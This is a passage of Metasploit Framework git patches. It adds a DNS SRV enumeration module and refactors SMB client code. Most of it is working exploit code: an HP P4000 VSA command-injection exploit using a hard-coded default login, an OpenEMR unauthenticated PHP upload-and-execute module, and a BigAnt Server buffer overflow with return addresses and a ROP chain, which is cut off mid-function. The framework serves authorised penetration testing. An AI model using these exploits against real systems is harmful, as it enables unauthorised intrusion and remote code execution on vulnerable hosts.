'_ldap._tcp.pdc._msdcs.', - '_ldap._tcp.gc._msdcs.','_kerberos._tcp.dc._msdcs.','_kpasswd._tcp.','_kpasswd._udp.' - ] - - srvrcd.each do |srvt| - trg = "#{srvt}#{dom}" - begin - - query = @res.query(trg , Net::DNS::SRV) - next unless query - query.answer.each do |srv| - if Rex::Socket.dotted_ip?(srv.host) - record = {} - srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] - record[:host] = srv.host.gsub(/\.$/,'') - record[:type] = "SRV" - record[:address] = srv.host - record[:srv] = srvt - record[:service] = srv_info[0] - record[:proto] = srv_info[1] - record[:port] = srv.port - record[:priority] = srv.priority - results << record - vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") - else - get_ip(srv.host.gsub(/\.$/,'')).each do |ip| - record = {} - srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] - record[:host] = srv.host.gsub(/\.$/,'') - record[:type] = "SRV" - record[:address] = ip[:address] - record[:srv] = srvt - record[:service] = srv_info[0] - record[:proto] = srv_info[1] - record[:port] = srv.port - record[:priority] = srv.priority - results << record - vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") - end - end - end - rescue - end - end - return results - end - - def get_ip(host) - results = [] - query = @res.search(host, "A") - if (query) - query.answer.each do |rr| - if rr.type == "CNAME" - results = results + get_ip(rr.cname) - else - record = {} - record[:host] = host - record[:type] = "AAAA" - record[:address] = rr.address.to_s - results << record - end - end - end - query1 = @res.search(host, "AAAA") - if (query1) - query1.answer.each do |rr| - if rr.type == "CNAME" - results = results + get_ip(rr.cname) - else - record = {} - record[:host] = host - record[:type] = "AAAA" - record[:address] = rr.address.to_s - results << record - end - end - end - return results - end - - def switchdns(ns) - vprint_status("Enumerating SRV Records on: #{ns}") - @res.nameserver=(ns) - @nsinuse = ns - end - - def get_ns(target) - results = [] - query = @res.query(target, "NS") - return results if not query - (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| - get_ip(rr.nsdname).each do |r| - record = {} - record[:host] = rr.nsdname.gsub(/\.$/,'') - record[:type] = "NS" - record[:address] = r[:address].to_s - results << record - end - end - return results - end -end - From 829cf0f076d1398518a73cf6de38923ee20ac6a6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 16:20:55 +0100 Subject: [PATCH 107/341] name changed to dns_srv_enum --- modules/auxiliary/gather/dns_srv_enum.rb | 227 +++++++++++++++++++++++ 1 file changed, 227 insertions(+) create mode 100644 modules/auxiliary/gather/dns_srv_enum.rb diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb new file mode 100644 index 0000000000..aeb3eef1c5 --- /dev/null +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -0,0 +1,227 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Common Service Record Enumeration', + 'Description' => %q{ + This module enumerates common DNS service records in a given domain. By setting + the ALL_DNS to true, all the name servers of a given domain are used for + enumeration. Otherwise only the system dns is used for enumration. in order to get + all the available name servers for the given domain the SOA and NS records are + queried. In order to convert from domain names to IP addresses queries for A and + AAAA (IPv6) records are used. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name."]), + OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]) + ], self.class) + end + + def run + records = [] + @res = Net::DNS::Resolver.new() + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + + print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") + records = records + srvqry(datastore['DOMAIN']) + if datastore["ALL_NS"] + get_soa(datastore['DOMAIN']).each do |s| + switchdns(s[:address]) + records = records + srvqry(datastore['DOMAIN']) + end + get_ns(datastore['DOMAIN']).each do |ns| + switchdns(ns[:address]) + records =records + srvqry(datastore['DOMAIN']) + end + end + records.uniq! + records.each do |r| + print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") + report_host( + :host => r[:address].to_s, + :name => r[:host] + ) + report_service( + :host=> r[:address].to_s, + :port => r[:port].to_i, + :proto => r[:proto], + :name => r[:service], + :host_name => r[:host] + ) + end + + end + + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def srvqry(dom) + results = [] + #Most common SRV Records + srvrcd = [ + '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', + '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', + '_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.', + '_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.', + '_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.', + '_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.', + '_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.', + '_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.', + '_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.', + '_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.', + '_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.', + '_hkps._tcp.', '_jabber._udp.','_xmpp-server._udp.', '_xmpp-client._udp.', + '_jabber-client._tcp.', '_jabber-client._udp.','_kerberos.tcp.dc._msdcs.', + '_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', '_ldap._tcp.pdc._msdcs.', + '_ldap._tcp.gc._msdcs.','_kerberos._tcp.dc._msdcs.','_kpasswd._tcp.','_kpasswd._udp.' + ] + + srvrcd.each do |srvt| + trg = "#{srvt}#{dom}" + begin + + query = @res.query(trg , Net::DNS::SRV) + next unless query + query.answer.each do |srv| + if Rex::Socket.dotted_ip?(srv.host) + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = srv.host + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") + else + get_ip(srv.host.gsub(/\.$/,'')).each do |ip| + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = ip[:address] + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") + end + end + end + rescue + end + end + return results + end + + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + + def switchdns(ns) + vprint_status("Enumerating SRV Records on: #{ns}") + @res.nameserver=(ns) + @nsinuse = ns + end + + def get_ns(target) + results = [] + query = @res.query(target, "NS") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + return results + end +end + From 221ce22f53e9f80b6ecb4dcff28b817870413639 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 19:01:58 +0100 Subject: [PATCH 108/341] make msftidy happy --- modules/exploits/multi/misc/hp_vsa_exec.rb | 53 ++++++++++++++++++---- 1 file changed, 44 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index d9a7bbab08..b9aae48bdf 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution", 'Description' => %q{ This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on - versions prior to 9.5. By using a default account credential, it is possible + versions prior to 9.5. By using a default account credential, it is possible to inject arbitrary commands as part of a ping request via port 13838. }, 'License' => MSF_LICENSE, @@ -50,9 +50,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Targets' => [ - ['HP VSA prior to 9.5', {}] + [ 'Automatic', {} ], + [ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ], + [ 'HP VSA 9', { 'Version' => '9.0.0' } ] ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => "Nov 11 2011", 'DefaultTarget' => 0)) @@ -75,20 +77,53 @@ class Metasploit3 < Msf::Exploit::Remote pkt end + def get_target + if target.name !~ /Automatic/ + return target + end + + # Login at 8.5.0 + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res=~ /Login/ + return targets[1] + end + + # Login at 9.0.0 + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res =~ /Login/ + return targets[2] + end + + fail_with(Msf::Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'") + end def exploit connect - # Login packet - print_status("#{rhost}:#{rport} Sending login packet") - packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"") - sock.put(packet) - res = sock.get_once - vprint_status(Rex::Text.to_hex_dump(res)) if res + if target.name =~ /Automatic/ + my_target = get_target + print_good("#{rhost}:#{rport} - Target #{my_target.name} found") + else + my_target = target + print_status("#{rhost}:#{rport} Sending login packet") + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + end # Command execution print_status("#{rhost}:#{rport} Sending injection") data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/" + data << "64/5/" if my_target.name =~ /9/ packet = generate_packet(data) sock.put(packet) res = sock.get_once From a19da61177097efeae07e2c5b72eec2cb2a772a2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 16 Feb 2013 00:53:28 +0100 Subject: [PATCH 109/341] deleting trailing comma --- modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index 4d18e2dc74..18c7eb7019 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2013-1625' ], - ], + ] ) register_options([Opt::RPORT(31001)], self.class) From 6b1bb9e1e8f3c31dbdc1a8e21b0cdd6a80de8c1b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 16 Feb 2013 13:11:46 +0100 Subject: [PATCH 110/341] Added module for OSVDB 90222 --- .../unix/webapp/openemr_upload_exec.rb | 132 ++++++++++++++++++ 1 file changed, 132 insertions(+) create mode 100644 modules/exploits/unix/webapp/openemr_upload_exec.rb diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb new file mode 100644 index 0000000000..41957608bf --- /dev/null +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -0,0 +1,132 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "OpenEMR PHP File Upload Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the + ofc_upload_image.php file from the openflashchart library, a malicious user can + upload a file to the tmp-upload-images directory without any authentication, which + results in arbitrary code execution. The module has been tested successfully on + OpenEMR 4.1.1 over Ubuntu 10.04. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Gjoko Krstic ', # Discovery, PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'OSVDB', '90222' ], + [ 'BID', '37314' ], + [ 'EBD', '24492' ], + [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ], + [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['OpenEMR 4.1.1', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr']) + ], self.class) + end + + def check + uri = target_uri.path + peer = "#{rhost}:#{rport}" + + # Check version + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "interface", "login", "login.php") + }) + + if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version > "4.1.1" + return Exploit::CheckCode::Safe + end + + # Check for vulnerable component + print_status("#{peer} - Trying to detect the vulnerable component") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"), + }) + + if res and res.code == 200 and res.body =~ /Saving your image to/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + uri = target_uri.path + + peer = "#{rhost}:#{rport}" + payload_name = rand_text_alpha(rand(10) + 5) + '.php' + my_payload = payload.encoded + + print_status("#{peer} - Sending PHP payload (#{payload_name})") + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}", + 'headers' => { "Content-Length" => my_payload.length.to_s }, + 'data' => my_payload + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/ + fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") + end + + register_file_for_cleanup(payload_name) + + print_status("#{peer} - Executing PHP payload (#{payload_name})") + # Execute our payload + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name), + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. Print the status code for debugging purposes. + if res and res.code != 200 + print_error("#{peer} - Server returned #{res.code.to_s}") + end + end + +end From a902480576a904f464b43a365cd002c81361eaf6 Mon Sep 17 00:00:00 2001 From: James Lee Date: Sun, 17 Feb 2013 06:57:35 -0600 Subject: [PATCH 111/341] Break out subclasses into their own files --- lib/rex/proto/smb/simpleclient.rb | 154 +------------------- lib/rex/proto/smb/simpleclient/open_file.rb | 106 ++++++++++++++ lib/rex/proto/smb/simpleclient/open_pipe.rb | 57 ++++++++ 3 files changed, 168 insertions(+), 149 deletions(-) create mode 100644 lib/rex/proto/smb/simpleclient/open_file.rb create mode 100644 lib/rex/proto/smb/simpleclient/open_pipe.rb diff --git a/lib/rex/proto/smb/simpleclient.rb b/lib/rex/proto/smb/simpleclient.rb index 454a3c694e..c0cd9d02e9 100644 --- a/lib/rex/proto/smb/simpleclient.rb +++ b/lib/rex/proto/smb/simpleclient.rb @@ -12,6 +12,8 @@ require 'rex/proto/smb/evasions' require 'rex/proto/smb/crypt' require 'rex/proto/smb/utils' require 'rex/proto/smb/client' +require 'rex/proto/smb/simpleclient/open_file' +require 'rex/proto/smb/simpleclient/open_pipe' # Some short-hand class aliases CONST = Rex::Proto::SMB::Constants @@ -20,157 +22,11 @@ UTILS = Rex::Proto::SMB::Utils XCEPT = Rex::Proto::SMB::Exceptions EVADE = Rex::Proto::SMB::Evasions - - class OpenFile - attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size - - def initialize(client, name, tree_id, file_id) - self.client = client - self.name = name - self.tree_id = tree_id - self.file_id = file_id - self.chunk_size = 48000 - end - - def delete - begin - self.close - rescue - end - self.client.delete(self.name, self.tree_id) - end - - # Close this open file - def close - self.client.close(self.file_id, self.tree_id) - end - - # Read data from the file - def read(length = nil, offset = 0) - if (length == nil) - data = '' - fptr = offset - ok = self.client.read(self.file_id, fptr, self.chunk_size) - while (ok and ok['Payload'].v['DataLenLow'] > 0) - buff = ok.to_s.slice( - ok['Payload'].v['DataOffset'] + 4, - ok['Payload'].v['DataLenLow'] - ) - data << buff - if ok['Payload'].v['Remaining'] == 0 - break - end - fptr += ok['Payload'].v['DataLenLow'] - - begin - ok = self.client.read(self.file_id, fptr, self.chunk_size) - rescue XCEPT::ErrorCode => e - case e.error_code - when 0x00050001 - # Novell fires off an access denied error on EOF - ok = nil - else - raise e - end - end - end - - return data - else - ok = self.client.read(self.file_id, offset, length) - data = ok.to_s.slice( - ok['Payload'].v['DataOffset'] + 4, - ok['Payload'].v['DataLenLow'] - ) - return data - end - end - - def << (data) - self.write(data) - end - - # Write data to the file - def write(data, offset = 0) - # Track our offset into the remote file - fptr = offset - - # Duplicate the data so we can use slice! - data = data.dup - - # Take our first chunk of bytes - chunk = data.slice!(0, self.chunk_size) - - # Keep writing data until we run out - while (chunk.length > 0) - ok = self.client.write(self.file_id, fptr, chunk) - cl = ok['Payload'].v['CountLow'] - - # Partial write, push the failed data back into the queue - if (cl != chunk.length) - data = chunk.slice(cl - 1, chunk.length - cl) + data - end - - # Increment our painter and grab the next chunk - fptr += cl - chunk = data.slice!(0, self.chunk_size) - end - end - end - - class OpenPipe < OpenFile - - # Valid modes are: 'trans' and 'rw' - attr_accessor :mode - - def initialize(*args) - super(*args) - self.mode = 'rw' - @buff = '' - end - - def read_buffer(length, offset=0) - length ||= @buff.length - @buff.slice!(0, length) - end - - def read(length = nil, offset = 0) - case self.mode - when 'trans' - read_buffer(length, offset) - when 'rw' - super(length, offset) - else - raise ArgumentError - end - end - - def write(data, offset = 0) - case self.mode - - when 'trans' - write_trans(data, offset) - when 'rw' - super(data, offset) - else - raise ArgumentError - end - end - - def write_trans(data, offset=0) - ack = self.client.trans_named_pipe(self.file_id, data) - doff = ack['Payload'].v['DataOffset'] - dlen = ack['Payload'].v['DataCount'] - @buff << ack.to_s[4+doff, dlen] - end - end - - # Public accessors -attr_accessor :last_error +attr_accessor :last_error # Private accessors -attr_accessor :socket, :client, :direct, :shares, :last_share +attr_accessor :socket, :client, :direct, :shares, :last_share # Pass the socket object and a boolean indicating whether the socket is netbios or cifs def initialize(socket, direct = false) @@ -180,7 +36,7 @@ attr_accessor :socket, :client, :direct, :shares, :last_share self.shares = { } end - def login( name = '', user = '', pass = '', domain = '', + def login(name = '', user = '', pass = '', domain = '', verify_signature = false, usentlmv2 = false, usentlm2_session = true, send_lm = true, use_lanman_key = false, send_ntlm = true, native_os = 'Windows 2000 2195', native_lm = 'Windows 2000 5.0', spnopt = {}) diff --git a/lib/rex/proto/smb/simpleclient/open_file.rb b/lib/rex/proto/smb/simpleclient/open_file.rb new file mode 100644 index 0000000000..66696dfae4 --- /dev/null +++ b/lib/rex/proto/smb/simpleclient/open_file.rb @@ -0,0 +1,106 @@ +# -*- coding: binary -*- +module Rex +module Proto +module SMB +class SimpleClient + +class OpenFile + attr_accessor :name, :tree_id, :file_id, :mode, :client, :chunk_size + + def initialize(client, name, tree_id, file_id) + self.client = client + self.name = name + self.tree_id = tree_id + self.file_id = file_id + self.chunk_size = 48000 + end + + def delete + begin + self.close + rescue + end + self.client.delete(self.name, self.tree_id) + end + + # Close this open file + def close + self.client.close(self.file_id, self.tree_id) + end + + # Read data from the file + def read(length = nil, offset = 0) + if (length == nil) + data = '' + fptr = offset + ok = self.client.read(self.file_id, fptr, self.chunk_size) + while (ok and ok['Payload'].v['DataLenLow'] > 0) + buff = ok.to_s.slice( + ok['Payload'].v['DataOffset'] + 4, + ok['Payload'].v['DataLenLow'] + ) + data << buff + if ok['Payload'].v['Remaining'] == 0 + break + end + fptr += ok['Payload'].v['DataLenLow'] + + begin + ok = self.client.read(self.file_id, fptr, self.chunk_size) + rescue XCEPT::ErrorCode => e + case e.error_code + when 0x00050001 + # Novell fires off an access denied error on EOF + ok = nil + else + raise e + end + end + end + + return data + else + ok = self.client.read(self.file_id, offset, length) + data = ok.to_s.slice( + ok['Payload'].v['DataOffset'] + 4, + ok['Payload'].v['DataLenLow'] + ) + return data + end + end + + def << (data) + self.write(data) + end + + # Write data to the file + def write(data, offset = 0) + # Track our offset into the remote file + fptr = offset + + # Duplicate the data so we can use slice! + data = data.dup + + # Take our first chunk of bytes + chunk = data.slice!(0, self.chunk_size) + + # Keep writing data until we run out + while (chunk.length > 0) + ok = self.client.write(self.file_id, fptr, chunk) + cl = ok['Payload'].v['CountLow'] + + # Partial write, push the failed data back into the queue + if (cl != chunk.length) + data = chunk.slice(cl - 1, chunk.length - cl) + data + end + + # Increment our painter and grab the next chunk + fptr += cl + chunk = data.slice!(0, self.chunk_size) + end + end +end +end +end +end +end diff --git a/lib/rex/proto/smb/simpleclient/open_pipe.rb b/lib/rex/proto/smb/simpleclient/open_pipe.rb new file mode 100644 index 0000000000..387ee4ff9a --- /dev/null +++ b/lib/rex/proto/smb/simpleclient/open_pipe.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module SMB +class SimpleClient + +class OpenPipe < OpenFile + + # Valid modes are: 'trans' and 'rw' + attr_accessor :mode + + def initialize(*args) + super(*args) + self.mode = 'rw' + @buff = '' + end + + def read_buffer(length, offset=0) + length ||= @buff.length + @buff.slice!(0, length) + end + + def read(length = nil, offset = 0) + case self.mode + when 'trans' + read_buffer(length, offset) + when 'rw' + super(length, offset) + else + raise ArgumentError + end + end + + def write(data, offset = 0) + case self.mode + + when 'trans' + write_trans(data, offset) + when 'rw' + super(data, offset) + else + raise ArgumentError + end + end + + def write_trans(data, offset=0) + ack = self.client.trans_named_pipe(self.file_id, data) + doff = ack['Payload'].v['DataOffset'] + dlen = ack['Payload'].v['DataCount'] + @buff << ack.to_s[4+doff, dlen] + end +end +end +end +end +end From a8d574e4ce0437f4a8d57ee1f47ea99067d55935 Mon Sep 17 00:00:00 2001 From: Thomas McCarthy Date: Sun, 17 Feb 2013 14:08:33 -0500 Subject: [PATCH 112/341] Updated one print_status --- modules/exploits/windows/local/s4u_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 1d5d2cc0bb..e6197463c5 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -163,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Local ut = vt['lpSystemTime'].unpack("v*") t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) rescue - print_warning("Could not read system time from victim...using your local time to determine expire date") + print_warning("Could not read system time from victim...using your local time to determine creation date") t = ::Time.now end date = t.strftime("%Y-%m-%d") From 1a2a0bc38e44edc2c6dfec5a7e641788ef6962ba Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 17 Feb 2013 20:21:45 +0100 Subject: [PATCH 113/341] Added module for CVE-2012-6275 --- .../misc/bigant_server_sch_dupf_bof.rb | 183 ++++++++++++++++++ 1 file changed, 183 insertions(+) create mode 100644 modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb new file mode 100644 index 0000000000..fd560463cd --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -0,0 +1,183 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server SCH And DUPF Buffer Overflow', + 'Description' => %q{ + This exploits a stack buffer overflow in the BigAnt Server 2.97 SP7. The + vulnerability is due to the dangerous usage of strcpy while handling errors. This + module uses a combination of SCH and DUPF request to trigger the vulnerability and + has been tested successfully against version 2.97 SP7 over Windows XP SP3 and + Windows 2003 SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6275' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89344' ] + ], + 'Payload' => + { + 'Space' => 2500, + 'BadChars' => "\x00\x0a\x0d\x25\x27", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7 / Windows XP SP3', + { + 'Offset' => 629, + 'Ret' => 0x77c21ef4, # ppr from msvcrt + 'JmpESP' => 0x77c35459, # push esp # ret from msvcrt + 'FakeObject' => 0x77C60410 # .data from msvcrt + } + ], + [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2', + { + 'Offset' => 629, + 'Ret' => 0x77bb287a, # ppr from msvcrt + 'FakeObject' => 0x77bf2460, # .data from msvcrt + :callback_rop => :w2003_sp2_rop + } + ] + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options([Opt::RPORT(6661)], self.class) + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V")[0].to_i + end + + def nop + return make_nops(4).unpack("V")[0].to_i + end + + def w2003_sp2_rop + rop_gadgets = + [ + 0x77bc5d88, # POP EAX # RETN + 0x77ba1114, # <- *&VirtualProtect() + 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + junk, + 0x77bb0c86, # XCHG EAX,ESI # RETN + 0x77bc9801, # POP EBP # RETN + 0x77be2265, # ptr to 'push esp # ret' + 0x77bc5d88, # POP EAX # RETN + 0x03C0990F, + 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) + 0x77bb48d3, # POP EBX, RET + 0x77bf21e0, # .data + 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + 0x77bbfc02, # POP ECX # RETN + 0x77bef001, # W pointer (lpOldProtect) (-> ecx) + 0x77bd8c04, # POP EDI # RETN + 0x77bd8c05, # ROP NOP (-> edi) + 0x77bc5d88, # POP EAX # RETN + 0x03c0984f, + 0x77bdd441, # SUB EAX, 03c0940f + 0x77bb8285, # XCHG EAX,EDX # RETN + 0x77bc5d88, # POP EAX # RETN + nop, + 0x77be6591, # PUSHAD # ADD AL,0EF # RETN + ].pack("V*") + + return rop_gadgets + end + + def exploit + + sploit = rand_text_alpha(target['Offset']) + sploit << [target.ret].pack("V") + sploit << 